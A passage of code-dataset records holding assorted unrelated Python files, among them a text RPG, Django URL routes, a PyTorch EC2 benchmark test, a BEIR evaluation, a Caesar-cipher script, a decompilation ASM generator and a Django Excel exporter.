print(\"Greatest Decrease in Profits: \" + s_month[greatest_decrease_index] + \" ($\" + str(greatest_decrease) + \")\")","sub_path":"PyBank_main.py","file_name":"PyBank_main.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"507232413","text":"from character import Character\nfrom monster import Dragon\nfrom monster import Goblin\nfrom monster import Troll\nimport os\n\nclass Game:\n def setup(self):\n self.player = Character()\n self.monsters = [\n Goblin(),\n Troll(),\n Dragon()\n ]\n self.monster = self.get_next_monster()\n\n def get_next_monster(self):\n try:\n return self.monsters.pop(0)\n except IndexError:\n return None\n\n def monster_turn(self):\n # Check to see if the monster attacks\n if self.monster.attack():\n # if so tell the player\n print(\"Watch out the monster is comming at you\")\n # check if the player wants to dodge\n if input(\"Try to dodge the attack Y/n? > \").lower() != 'n':\n # if so, see if the dodge is successfull\n if self.player.dodge():\n # if it is, move on\n print(\"Phew you dodged that one\")\n else:\n # if its not, remove 1 player hit point\n print(\"Gaaah you did'nt dodge fast enught and the moster hit you you lose 1 HP\")\n self.player.hit_points -= 1\n else:\n # if the monter isn't attack, tell that to the player too\n print(\"the monster aint attacking now's your chance\")\n\n\n def player_turn(self):\n # Let the player attack, rest, or quit\n choice = input(\"Options: [A]ttack, [R]est, [Q]uit\").lower()\n if choice in 'arq':\n # if they attack:\n if choice == 'a':\n # see if the attack is successfull\n if self.player.attack():\n # if so see if the monster dodges\n if not self.monster.dodge():\n if self.player.weapon == \"sword\":\n damage = 2\n elif self.player.weapon == \"axe\":\n damage = 3\n elif self.player.weapon == \"bow\":\n damage = 2\n else:\n print(\"Could'nt find your weapon please advice?\")\n # if not dodged subtract the right num off hit points from the monster\n self.monster.hit_points -= damage\n print(\"You hit the monster with a lethal blow and delt it {} HP Damage\".format(damage))\n else:\n # if dodged print that\n print(\"Aww your werent fast enugh the monster dodged your attack\")\n else:\n # if not a good attack, tell the player\n print(\"bad attack you did do shit!\")\n # if they rest:\n elif choice == 'r':\n print(\"as your resting on the cold ground you fell your energi surging up\")\n # call the player.rest() method\n self.player.rest()\n\n # if they quit, exit the game\n elif choice == 'q':\n exit()\n\n else:\n # if they pick anything else, re-run this method\n self.player_turn()\n\n\n def cleanup(self):\n # if the monster has no more hit points:\n if self.monster.hit_points < 1:\n # up the players experince\n self.player.experince += int(self.monster.experince / 2)\n # print a message\n print(\"You defeated the monster and got {} XP\".format(int(self.monster.experince / 2)))\n # get a new monster\n self.monster = self.get_next_monster()\n\n def __init__(self):\n self.setup()\n\n while self.player.hit_points and (self.monster or self.monsters):\n print('\\n'+'='*20)\n print(self.player)\n print(self.monster)\n self.monster_turn()\n print(\"-\"*20)\n self.player_turn()\n self.cleanup()\n print('\\n'+'='*20)\n\n if self.player.hit_points:\n print(\"You win!\")\n elif self.monsters or self.monster:\n print(\"You loose!\")\n","sub_path":"oop/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"132898320","text":"import pandas as pd\nimport os\n\ncurrent_path = os.path.abspath(os.path.dirname(__file__))\ncsv_path = os.path.join(current_path, 'book_utf8.csv')\nprint(csv_path)\n\ndf1 = pd.read_csv(csv_path)\n# print(df1)\n\nprint(\"*\"*30)\nprint(df1['还行'])","sub_path":"Week04/pdReadCSV.py","file_name":"pdReadCSV.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"169752965","text":"\"\"\"App URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\r\nExamples:\r\nFunction views\r\n 1. Add an import: from my_app import views\r\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\r\nClass-based views\r\n 1. Add an import: from other_app.views import Home\r\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n 1. Import the include() function: from django.urls import include, path\r\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.contrib import admin\r\nfrom django.urls import path, include\r\nfrom rest_framework_simplejwt import views as jwt_views\r\nfrom django.conf.urls.static import static\r\nfrom django.conf import settings\r\nfrom rest_framework.documentation import include_docs_urls\r\n\r\nurlpatterns = [\r\n path('admin/', admin.site.urls),\r\n path('api/users/', include('users.urls')),\r\n path('api/comments/', include('comments.urls')),\r\n path('api/restaurants/', include('restaurants.urls')),\r\n path('api/registration/', include('registration.urls')),\r\n path('api/authentication/', include('authentication.urls')),\r\n\r\n # API's URL generator\r\n path('api/docs/', include_docs_urls(title='Motion API', permission_classes=[])), # publicly visible\r\n\r\n # Auth\r\n path('api/token/', jwt_views.TokenObtainPairView.as_view(), name='token_obtain_pair'),\r\n path('api/token/refresh/', jwt_views.TokenRefreshView.as_view(), name='token_refresh'),\r\n path('api/token/verify/', jwt_views.TokenVerifyView.as_view(), name='token_refresh'),\r\n]\r\n\r\nif settings.DEBUG:\r\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\r\n","sub_path":"app/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"171169774","text":"import os\nimport time\nimport pytest\n\nfrom test.test_utils import CONTAINER_TESTS_PREFIX\n\nPT_PERFORMANCE_INFERENCE_SCRIPT = os.path.join(CONTAINER_TESTS_PREFIX, \"benchmark\", \"run_pytorch_inference_performance.py\")\nPT_PERFORMANCE_INFERENCE_CPU_CMD = f\"{PT_PERFORMANCE_INFERENCE_SCRIPT} --iterations 500\"\nPT_PERFORMANCE_INFERENCE_GPU_CMD = f\"{PT_PERFORMANCE_INFERENCE_SCRIPT} --iterations 1000 --gpu\"\n\n\n@pytest.mark.model(\"resnet18, VGG13, MobileNetV2, GoogleNet, DenseNet121, InceptionV3\")\n@pytest.mark.parametrize(\"ec2_instance_type\", [\"p3.16xlarge\"], indirect=True)\ndef test_performance_ec2_pytorch_inference_gpu(pytorch_inference, ec2_connection, region, gpu_only):\n ec2_performance_pytorch_inference(pytorch_inference, \"gpu\", ec2_connection, region, PT_PERFORMANCE_INFERENCE_GPU_CMD)\n\n\n@pytest.mark.model(\"resnet18, VGG13, MobileNetV2, GoogleNet, DenseNet121, InceptionV3\")\n@pytest.mark.parametrize(\"ec2_instance_type\", [\"c5.18xlarge\"], indirect=True)\ndef test_performance_ec2_pytorch_inference_cpu(pytorch_inference, ec2_connection, region, cpu_only):\n ec2_performance_pytorch_inference(pytorch_inference, \"cpu\", ec2_connection, region, PT_PERFORMANCE_INFERENCE_CPU_CMD)\n\n\ndef ec2_performance_pytorch_inference(image_uri, processor, ec2_connection, region, test_cmd):\n docker_cmd = \"nvidia-docker\" if processor == \"gpu\" else \"docker\"\n python_version = \"py2\" if \"py2\" in image_uri else \"py3\"\n container_test_local_dir = os.path.join(\"$HOME\", \"container_tests\")\n repo_name, image_tag = image_uri.split(\"/\")[-1].split(\":\")\n\n # Make sure we are logged into ECR so we can pull the image\n ec2_connection.run(f\"$(aws ecr get-login --no-include-email --region {region})\", hide=True)\n\n ec2_connection.run(f\"{docker_cmd} pull -q {image_uri} \")\n\n time_str = time.strftime('%Y-%m-%d-%H-%M-%S')\n commit_info = os.getenv(\"CODEBUILD_RESOLVED_SOURCE_VERSION\")\n # Run performance inference command, display benchmark results to console\n container_name = f\"{repo_name}-performance-{image_tag}-ec2\"\n log_file = f\"inference_benchmark_results_{commit_info}_{time_str}.log\"\n ec2_connection.run(\n f\"{docker_cmd} run -d --name {container_name} -e OMP_NUM_THREADS=1 \"\n f\"-v {container_test_local_dir}:{os.path.join(os.sep, 'test')} {image_uri} \"\n )\n ec2_connection.run(\n f\"{docker_cmd} exec {container_name} \"\n f\"python {test_cmd} \"\n f\"2>&1 | tee {log_file}\"\n )\n ec2_connection.run(\n f\"docker rm -f {container_name}\"\n )\n ec2_connection.run(\n f\"echo Benchmark Results: >&2;\"\n f\"echo PyTorch Inference {processor} {python_version} >&2\"\n )\n if python_version == \"py3\":\n ec2_connection.run(f\"tail -28 {log_file} >&2\")\n else:\n ec2_connection.run(f\"cat {log_file} >&2\")\n ec2_connection.run(\n f\"aws s3 cp {log_file} s3://dlinfra-dlc-cicd-performance/pytorch/ec2/inference/{processor}/{python_version}/{log_file}\"\n )\n ec2_connection.run(\n f\"echo To retrieve complete benchmark log, check s3://dlinfra-dlc-cicd-performance/pytorch/ec2/inference/{processor}/{python_version}/{log_file} >&2\"\n )\n","sub_path":"test/dlc_tests/benchmark/ec2/pytorch/inference/test_performance_pytorch_inference.py","file_name":"test_performance_pytorch_inference.py","file_ext":"py","file_size_in_byte":3133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"562677530","text":"from beir import util\nfrom beir.datasets.data_loader import GenericDataLoader\nfrom beir.retrieval.evaluation import EvaluateRetrieval\nfrom beir.retrieval.search.dense import DenseRetrievalExactSearch as DRES\nimport logging\nfrom transformers import BertModel, BertTokenizerFast\nimport os\nimport torch\nfrom torch import nn, Tensor\n\nlogging.basicConfig(level = logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\nclass DocumentEncoder(nn.Module):\n\n def __init__(self, len_of_token_embeddings: int, device: str, bert_model: str):\n super(DocumentEncoder, self).__init__()\n self.bert = BertModel.from_pretrained(bert_model).to(device)\n self.bert.resize_token_embeddings(len_of_token_embeddings)\n\n def forward(self, token_ids: Tensor, attention_masks: Tensor) -> Tensor:\n hidden_states, cls_tokens = self.bert(token_ids, attention_mask=attention_masks, return_dict=False)\n return cls_tokens\n\n @classmethod\n def from_pretrained(cls, path_to_statedict: str, tokenizer: BertTokenizerFast, device: str, bert_model: str) -> 'BiEncoder':\n document_encoder = cls(len_of_token_embeddings=len(tokenizer), device=device, bert_model=bert_model)\n document_encoder.load_state_dict(torch.load(path_to_statedict, map_location=device))\n return document_encoder\n\n\nclass BeirEval:\n def __init__(self, bert_model, dataset, output_dir, device, batch_size=128):\n self.dataset = dataset\n self.output_dir = output_dir\n self.batch_size = batch_size\n self.device = device\n self.bert_model = bert_model\n\n def evaluate_model(self):\n logger.info(f'starting evaluation dataset {self.dataset}')\n output_dir_data = f'{self.output_dir}/{self.dataset}'\n if os.path.isdir(output_dir_data):\n logger.info(f'dataset {self.dataset} already downloaded')\n data_path = f'{output_dir_data}/{self.dataset}'\n else:\n url = f'https://public.ukp.informatik.tu-darmstadt.de/thakur/BEIR/datasets/{self.dataset}.zip'\n data_path = util.download_and_unzip(url, output_dir_data)\n\n corpus, queries, qrels = GenericDataLoader(data_folder=data_path).load(split=\"test\")\n\n tokenizer = BertTokenizerFast.from_pretrained(self.bert_model, do_lower_case=('uncased' in bert_model))\n tokenizer.add_special_tokens({'additional_special_tokens': ['[ent]']})\n\n\n encoder_path = os.path.join(self.output_dir, 'encoder_mention.statedict')\n document_encoder = DocumentEncoder.from_pretrained(path_to_statedict=encoder_path, tokenizer=tokenizer,\n device=self.device, bert_model=self.bert_model)\n document_encoder.eval()\n\n logger.info(f'loading model with batch size {self.batch_size}')\n model = DRES(document_encoder, batch_size=self.batch_size)\n\n retriever = EvaluateRetrieval(model, score_function='cos_sim')\n results = retriever.retrieve(corpus, queries)\n\n ndcg, map, recall, precision = retriever.evaluate(qrels, results, retriever.k_values)\n\n logger.info(f'results: \\n ndcg: {ndcg} \\n map: {map} \\n recall: {recall} \\n precision: {precision}')\n\n\nif __name__ == '__main__':\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n dataset = os.getenv('DATASET', 'trec-covid')\n output_dir = os.getenv('OUTPUT_DIR', '/data')\n batch_size = int(os.getenv('BATCH_SIZE', '128'))\n bert_model = os.getenv('BERT_MODEL', 'bert-base-uncased')\n logger.info(f'using device format {device}')\n logger.info(f'configs for evaluation: \\n BERT_MODEL: {bert_model} \\n DATASET: {dataset} \\n OUTPUT_DIR: {output_dir} \\n BATCH_SIZE: {batch_size}')\n\n\n eval = BeirEval(bert_model, dataset, output_dir, device, batch_size)\n eval.evaluate_model()\n","sub_path":"src/beir_eval.py","file_name":"beir_eval.py","file_ext":"py","file_size_in_byte":3798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"111618608","text":"#A PROGRAM NEM SZERETI A SPACE!!!\r\n\r\ndef split(word):\r\n return [char for char in word]\r\nfasz = \"\"\r\nanyad = []\r\nass = split(input())\r\ni = 0\r\ndef minusencrypt(text, s):\r\n result = \"\"\r\n\r\n\r\n\r\n# transverse the plain text\r\n for i in range(len(ass)):\r\n char = ass[i2]\r\n # Encrypt uppercase characters in plain text\r\n\r\n if (char.isupper()):\r\n result += chr((ord(char) + s - 65) % 26 + 65)\r\n # Encrypt lowercase characters in plain text\r\n else:\r\n result += chr((ord(char) + s - 97) % 26 + 97)\r\n\r\n return result\r\n# check the above function\r\ntext = ass[i]\r\ns = -6\r\n\r\ndef plusencrypt(text, s):\r\n result = \"\"\r\n\r\n\r\n# transverse the plain text\r\n for i in range(len(ass)):\r\n char = ass[i2]\r\n # Encrypt uppercase characters in plain text\r\n\r\n if (char.isupper()):\r\n result += chr((ord(char) + s - 65) % 26 + 65)\r\n # Encrypt lowercase characters in plain text\r\n else:\r\n result += chr((ord(char) + s - 97) % 26 + 97)\r\n\r\n return result\r\n# check the above function\r\ntext = ass[i]\r\ns = 6\r\n\r\ncode = input(\"kód(+-)\")\r\nlistcode = split(code)\r\nfor i in range(len(ass)):\r\n i2 = i\r\n text = ass[i]\r\n if listcode[i]==\"-\":\r\n anyad.append(minusencrypt(ass[i],-6))\r\n elif listcode[i]==\"+\":\r\n anyad.append(plusencrypt(ass[i],6))\r\n else:\r\n exit()\r\nfor i in range(len(anyad)):\r\n lofasz = anyad[i]\r\n nyomorek = lofasz[0]\r\n fasz = fasz+nyomorek\r\n\r\nprint(fasz)","sub_path":"suffelstuff/suffle.py","file_name":"suffle.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"350207322","text":"import argparse\nimport csv\nfrom contextlib import redirect_stdout\nimport os\nfrom pathlib import Path\nimport shutil\nimport struct\n\nfrom mkw.ppc_dis import disasm_iter, disassemble_callback\nfrom mkw.dol import DolBinary, Segment\n\n\nread_u32 = lambda f: struct.unpack(\">L\", f.read(4))[0]\nread_u16 = lambda f: struct.unpack(\">H\", f.read(2))[0]\nread_u8 = lambda f: struct.unpack(\">B\", f.read(1))[0]\n\n\ndef read_segments_iter(name):\n with open(name) as file:\n reader = csv.DictReader(file)\n for row in reader:\n yield row[\"name\"], Segment(int(row[\"start\"], 16), int(row[\"end\"], 16))\n\n\ndef read_segments(name):\n result = {}\n for name, segment in read_segments_iter(name):\n result[name] = segment\n return result\n\n\nclass Slice:\n def __init__(self, obj_file, segments):\n self.obj_file = obj_file\n self.segments = segments\n\n def __repr__(self):\n return \"Slice { %s, %u segs }\" % (self.obj_file, len(self.segments))\n\n\n# Limitation: slices must be ordered\ndef read_slices(name):\n lines = open(name).readlines()\n reader = csv.DictReader(lines)\n for row in reader:\n if not row.pop(\"enabled\"):\n continue\n\n name = row.pop(\"name\")\n segments = {}\n\n for cell, value in row.items():\n segment_attributes = [\"Start\", \"End\"]\n seg_name = \"\"\n seg_type = \"\"\n for attr in segment_attributes:\n if cell.endswith(attr):\n seg_type = attr\n seg_name = cell[: -len(attr)]\n assert seg_name and seg_type\n\n if not value:\n continue\n\n if not seg_name in segments:\n segments[seg_name] = Segment(0, 0)\n\n if seg_type == \"Start\":\n segments[seg_name].begin = int(value, 16)\n elif seg_type == \"End\":\n segments[seg_name].end = int(value, 16)\n\n print(\"#### %s %s\" % (name, segments))\n yield Slice(name, segments)\n\n\ndef get_asm_path(name, gap, folder):\n folder.mkdir(exist_ok=True)\n return folder / (\"%s_%s.s\" % (name, hex(gap.begin)[2:]))\n\n\ndef format_segname(name):\n if \"extab\" in name:\n return name + \"_\"\n return \".\" + name\n\n\ndef read_u32b(filecontent, offset):\n return (\n (filecontent[offset + 0] << 24)\n | (filecontent[offset + 1] << 16)\n | (filecontent[offset + 2] << 8)\n | filecontent[offset + 3]\n )\n\n\n# stdout must be redirected\ndef dump_bss(size):\n print(\".skip 0x%x\" % size)\n\n\n# stdout must be redirected\ndef dump_data(image, addr_start, seg):\n for i in range(seg.begin, seg.end, 4):\n if seg.end - i >= 4:\n print(\".4byte 0x%08X\" % read_u32b(image, i - addr_start))\n continue\n\n for j in range(i, seg.end):\n print(\".byte 0x%02x\" % image[j - addr_start])\n\n\n# stdout must be redirected\ndef dump_text(image, addr_start, seg):\n disasm_iter(\n image, seg.begin - addr_start, seg.begin, seg.size(), disassemble_callback\n )\n\n\ndef compute_perm(name):\n perm = \"wa\"\n if name == \"text\" or name == \"init\":\n perm = \"ax\"\n\n # if \"bss\" in name:\n # perm = \"ba\"\n\n if name == \"rodata\" or \"2\" in name:\n perm = perm.replace(\"w\", \"\")\n\n return perm\n\n\n# stdout must be redirected\ndef dump_section_body(name, image, addr_start, seg):\n if \"bss\" in name:\n dump_bss(seg.size())\n return\n\n if name == \"text\" or name == \"init\":\n dump_text(image, addr_start, seg)\n return\n\n dump_data(image, addr_start, seg)\n\n\n# stdout must be redirected\ndef dump_section_header(name, seg):\n # section permissions\n perm = compute_perm(name)\n\n print(\n '\\n.section %s, \"%s\" # 0x%08X - 0x%08X'\n % (format_segname(name), perm, seg.begin, seg.end)\n )\n\n\n# stdout must be redirected\ndef dump_section(name, image, addr_start, seg):\n dump_section_header(name, seg)\n dump_section_body(name, image, addr_start, seg)\n\n\n# stdout must be redirected\ndef dump_object_file(image, addr_start, segments):\n print('\\n.include \"macros.inc\"')\n\n for segment_name, segment in segments:\n dump_section(segment_name, image, addr_start, segment)\n\n\ndef disassemble_object_file(path, image, addr_start, segments):\n with open(path, \"w\") as file:\n with redirect_stdout(file):\n dump_object_file(image, addr_start, segments)\n\n\ndef disasm(folder, name, image, addr_start, seg, is_data):\n path = get_asm_path(name, seg, folder)\n\n disassemble_object_file(path, image, addr_start, [(name, seg)])\n\n\ndef gen_start_segs(segments):\n # Start segs:\n # ['text']: (0, 0x8...)\n start_seg = {}\n for name, seg in segments.items():\n start_seg[name] = Segment(0, seg.begin)\n\n return start_seg\n\n\ndef gen_end_segs(segments):\n # End segs:\n # ['text']: (0x8..., 0)\n end_seg = {}\n for name, seg in segments.items():\n end_seg[name] = Segment(seg.end, 0)\n\n return end_seg\n\n\ndef find_gaps(all_slices):\n last_segments = all_slices[0].segments\n\n # [1:] to skip initial (previously start_seg)\n for slice_obj in all_slices[1:]:\n obj_file = slice_obj.obj_file\n slice = slice_obj.segments\n for name, segment in slice.items():\n if last_segments[name].end != segment.begin:\n # There's a gap!\n\n print(\n \"[.%s] Gap from %x to %x\"\n % (name, last_segments[name].end, segment.begin)\n )\n yield name, Segment(last_segments[name].end, segment.begin)\n\n last_segments[name] = segment\n if not obj_file.startswith(\"#\"):\n yield obj_file, None\n\n\ndef find_o_files(all_slices, folder):\n \"\"\"Returns all paths to object files that will assemble the binary.\"\"\"\n for name, gap_seg in find_gaps(all_slices):\n if gap_seg is None:\n yield name, gap_seg, \"??\"\n continue\n path = get_asm_path(name, gap_seg, folder)\n print(path)\n path.stem.replace(\".s\", \".o\")\n yield name, gap_seg, path\n\n\ndef unpack_binary(folder, all_slices, image, addr_start):\n for name, gap_seg, dest in find_o_files(all_slices, folder):\n is_decompiled = gap_seg is None\n\n if not is_decompiled:\n # print(\"name %s dest %s\" % (name, dest))\n disasm(folder, name, image, addr_start, gap_seg, False)\n yield dest\n\n if is_decompiled:\n yield name.replace(\".cpp\", \".o\").replace(\".c\", \".o\")\n\n\ndef compute_end_cap(segments):\n # Final 0x8 -> 0x8; second part ignored\n end_seg = gen_end_segs(segments)\n\n end_slice = Slice(\"# 0x80 [finish] -> 0x80 [ignored]\", end_seg)\n\n return end_slice\n\n\ndef compute_begin_cap(segments):\n # Final 0x8 -> 0x8; second part ignored\n start_seg = gen_start_segs(segments)\n\n start_slice = Slice(\"# 0 [ignored] -> 0x80 [start]\", start_seg)\n\n return start_slice\n\n\ndef gen_cuts(slices, segments):\n # Initial 0 -> 0x8; first part ignored\n\n start_slice = compute_begin_cap(segments)\n end_slice = compute_end_cap(segments)\n\n return [start_slice] + slices + [end_slice]\n\n\ndef compute_cuts_from_spreadsheets(segments, decomplog):\n # segments: binary descriptor, .text: 0x8..0x8\n # decomplog: slices, what decompiled code replaces\n\n slices = list(read_slices(decomplog))\n segments = read_segments(segments)\n\n return slices, segments, gen_cuts(slices, segments)\n\n\ndef unpack_base_dol(asm_dir, pack_dir, binary_dir):\n base_dol = DolBinary(binary_dir / \"main.dol\")\n\n _, _, cuts = compute_cuts_from_spreadsheets(\n pack_dir / \"dol_segments.csv\",\n pack_dir / \"dol_slices.csv\",\n )\n\n # o_files\n return list(unpack_binary(asm_dir / \"dol\", cuts, base_dol.image, base_dol.image_base))\n\n\n## REL\n\n\ndef load_rel_binary(segments, binary_dir) -> (bytearray, int):\n print(segments)\n max_vaddr = max(segments[seg].end for seg in segments)\n image_base = 0x80000000\n image = bytearray(max_vaddr - image_base)\n\n rel_segment_dir = binary_dir / \"rel\"\n for segment in segments:\n rel_segment_path = rel_segment_dir / (segment + \".bin\")\n with open(rel_segment_path, \"rb\") as file:\n data = file.read()\n\n segment_data = segments[segment]\n\n start = segment_data.begin\n end = segment_data.end\n\n data_len = len(data) # virtual\n\n for i in range(start, end):\n # try:\n # x = data[i - start]\n # except:\n # print(segment, hex(i), hex(start), hex(end),i - start, len(data))\n # print(end - (start + len(data)))\n\n # Hack for alignment (miss by 16)\n if i - start >= data_len:\n continue\n image[i - image_base] = data[i - start]\n\n return image, image_base\n\n\ndef unpack_staticr_rel(asm_dir, pack_dir, binary_dir):\n _, segments, cuts = compute_cuts_from_spreadsheets(\n pack_dir / \"rel_segments.csv\",\n pack_dir / \"rel_slices.csv\",\n )\n\n image, image_base = load_rel_binary(segments, binary_dir)\n\n # o_files\n return list(unpack_binary(asm_dir / \"rel\", cuts, image, image_base))\n\n\ndef unpack_everything(asm_dir, pack_dir, binary_dir):\n \"\"\"Unpack all ASM blobs into asm_dir.\"\"\"\n dol_o_files = unpack_base_dol(asm_dir, pack_dir, binary_dir)\n with open(pack_dir / \"dol_objects.txt\", \"w\") as file:\n for path in dol_o_files:\n print(path, file=file)\n rel_o_files = unpack_staticr_rel(asm_dir, pack_dir, binary_dir)\n with open(pack_dir / \"rel_objects.txt\", \"w\") as file:\n for path in rel_o_files:\n print(path, file=file)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Generate ASM blobs and linker object lists.\")\n parser.add_argument(\"--asm_dir\", type=Path, required=True, help=\"Path to ASM dir\")\n parser.add_argument(\"--pack_dir\", type=Path, required=True, help=\"Path to link instructions dir\")\n parser.add_argument(\"--binary_dir\", type=Path, required=True, help=\"Binary containing main.dol and StaticR.rel\")\n args = parser.parse_args()\n\n # Recreate the ASM dir.\n if os.path.exists(args.asm_dir / \"dol\"):\n shutil.rmtree(args.asm_dir / \"dol\")\n if os.path.exists(args.asm_dir / \"rel\"):\n shutil.rmtree(args.asm_dir / \"rel\")\n args.asm_dir.mkdir(exist_ok=True)\n\n # Write the macros file.\n with open(args.asm_dir / \"macros.inc\", \"w\") as file:\n file.write(\"# PowerPC Register Constants\\n\")\n for i in range(0, 32):\n file.write(\".set r%i, %i\\n\" % (i, i))\n for i in range(0, 32):\n file.write(\".set f%i, %i\\n\" % (i, i))\n for i in range(0, 8):\n file.write(\".set qr%i, %i\\n\" % (i, i))\n\n unpack_everything(args.asm_dir, args.pack_dir, args.binary_dir)\n","sub_path":"util/gen_asm.py","file_name":"gen_asm.py","file_ext":"py","file_size_in_byte":10875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"196409609","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\n\nfrom base_utils import print_under\n\n# From Positional to Keyword-Only Parameters\nprint_under('From Positional to Keyword-Only Parameters 必须关键字参数')\n\n\ndef tag(name, *content, cls=None, **attrs):\n if cls is not None:\n attrs['class'] = cls\n if attrs:\n attrs_str = ''.join(' %s=\"%s\"' % (attr, value) for attr, value in attrs.items())\n else:\n attrs_str = ''\n if content:\n return '\\n'.join('<%s%s>%s' % (name, attrs_str, c, name) for c in content)\n else:\n return '<%s%s />' % (name, attrs_str)\n\nprint(tag('html'))\nprint(tag('body', 'test_1', 'test_2'))\nprint(tag('div', cls='sidebar'))\nprint(tag('span', 'test_3', cls='sidebar', title='test_3'))\n\nmy_tag = {'name': 'img', 'src': 'sunset.jpg', 'cls': 'ml20'}\nprint(tag(**my_tag))\n\n# 强制关键字参数 in py3\nprint_under('强制关键字参数 in py3')\n\n\ndef f(name, *, age):\n print('%s is %s years old.' % (name, age))\n\ntry:\n f('Wen Jiang', 23)\nexcept TypeError as e:\n print(e) # f() takes 1 positional argument but 2 were given\n\nf('Wen Jiang', age=23) # Wen Jiang is 23 years old.\n","sub_path":"chap5 Functions as Objects/5.7.py","file_name":"5.7.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"625718967","text":"from openpyxl import Workbook\nfrom openpyxl import load_workbook\nimport sys\n\ndef get_data(ro,col,sheet):\n return sheet.cell(row = ro, column = col).value\n\n#main\n\n#load the excel\nwork_b = load_workbook(filename='_gaussian.xlsx') #here is the name of your xlsx file\nsheetnames = work_b.get_sheet_names()\nsheet = work_b.get_sheet_by_name(sheetnames[0])\n\nwb = Workbook() # Creat sheet\nws = wb.active\n\nnum = 0\nprolist1 = []\nprolist2 = []\nr_row = 1\nfor row in range(1,500000+1):\n\n if get_data(row, 1, sheet) == \"stop_here\":\n break\n if get_data(row, 1, sheet) == \"ACP\":\n num += 1\n ws['A' + str(r_row)] = get_data(row - 1, 1, sheet)\n ws['B' + str(r_row)] = str(prolist1)\n ws['C' + str(r_row)] = str(prolist2)\n r_row += 1\n prolist1 = []\n prolist2 = []\n else:\n prolist1.append(get_data(row,2,sheet))\n prolist2.append(get_data(row,3,sheet))\n\nwb.save(\"_tomatlab\"+sys.argv[1]+\".xlsx\")\n","sub_path":"Assignment02/Gaussian_extraction/step7_tomatlab.py","file_name":"step7_tomatlab.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"92739308","text":"# -*- coding: utf-8 -*-\nfrom xlwt import Workbook, easyxf\n\nfrom django.http import HttpResponse\n\nfrom model_report import arial10\nfrom .base import Exporter\n\n\nclass FitSheetWrapper(object):\n \"\"\"Try to fit columns to max size of any entry.\n To use, wrap this around a worksheet returned from the\n workbook's add_sheet method, like follows:\n\n sheet = FitSheetWrapper(book.add_sheet(sheet_name))\n\n The worksheet interface remains the same: this is a drop-in wrapper\n for auto-sizing columns.\n \"\"\"\n def __init__(self, sheet):\n self.sheet = sheet\n self.widths = dict()\n self.heights = dict()\n\n def write(self, r, c, label='', *args, **kwargs):\n self.sheet.write(r, c, label, *args, **kwargs)\n self.sheet.row(r).collapse = True\n bold = False\n if args:\n style = args[0]\n bold = str(style.font.bold) in ('1', 'true', 'True')\n width = int(arial10.fitwidth(label, bold))\n if width > self.widths.get(c, 0):\n self.widths[c] = width\n self.sheet.col(c).width = width\n\n height = int(arial10.fitheight(label, bold))\n if height > self.heights.get(r, 0):\n self.heights[r] = height\n self.sheet.row(r).height = height\n\n def __getattr__(self, attr):\n return getattr(self.sheet, attr)\n\n\nclass ExcelExporter(Exporter):\n\n def write_rows(self, column_labels, report_rows, report_inlines=None):\n\n if not report_rows or report_rows[0][0]:\n # FIXME: [0][0] is None when real data. Is this reliable?\n return\n\n for index, x in enumerate(column_labels):\n self.sheet1.write(self.row_index, index, u'%s' % x, self.stylebold)\n self.row_index += 1\n for g, rows in report_rows:\n if g:\n self.sheet1.write(self.row_index, 0, u'%s' % g, self.stylebold)\n self.row_index += 1\n for row in list(rows):\n if row.is_value():\n for index, x in enumerate(row):\n if isinstance(x.value, (list, tuple)):\n xvalue = ''.join(['%s\\n' % v for v in x.value])\n else:\n xvalue = x.text()\n self.sheet1.write(self.row_index, index, xvalue, self.stylevalue)\n self.row_index += 1\n\n if report_inlines:\n for inline in report_inlines:\n\n inline_context = inline.get_render_context({}, by_row=row)\n self.write_rows(inline_context['column_labels'], inline_context['report_rows'])\n\n elif row.is_caption:\n for index, x in enumerate(row):\n if not isinstance(x, (unicode, str)):\n self.sheet1.write(self.row_index, index, x.text(), self.stylebold)\n else:\n self.sheet1.write(self.row_index, index, x, self.stylebold)\n self.row_index += 1\n elif row.is_total:\n for index, x in enumerate(row):\n self.sheet1.write(self.row_index, index, x.text(), self.stylebold)\n self.sheet1.write(self.row_index + 1, index, ' ')\n self.row_index += 2\n\n\n def render(self, report, column_labels, report_rows, report_inlines):\n self.row_index = 0\n self.sheet1 = FitSheetWrapper(self.book.add_sheet(report.get_title()[:20]))\n self.write_rows(column_labels, report_rows, report_inlines)\n\n response = HttpResponse(content_type=\"application/ms-excel\")\n response['Content-Disposition'] = 'attachment; filename=%s.xls' % report.slug\n self.book.save(response)\n return response\n\n def __init__(self):\n self.stylebold = easyxf('font: bold true; alignment:')\n self.stylevalue = easyxf('alignment: horizontal left, vertical top;')\n self.book = 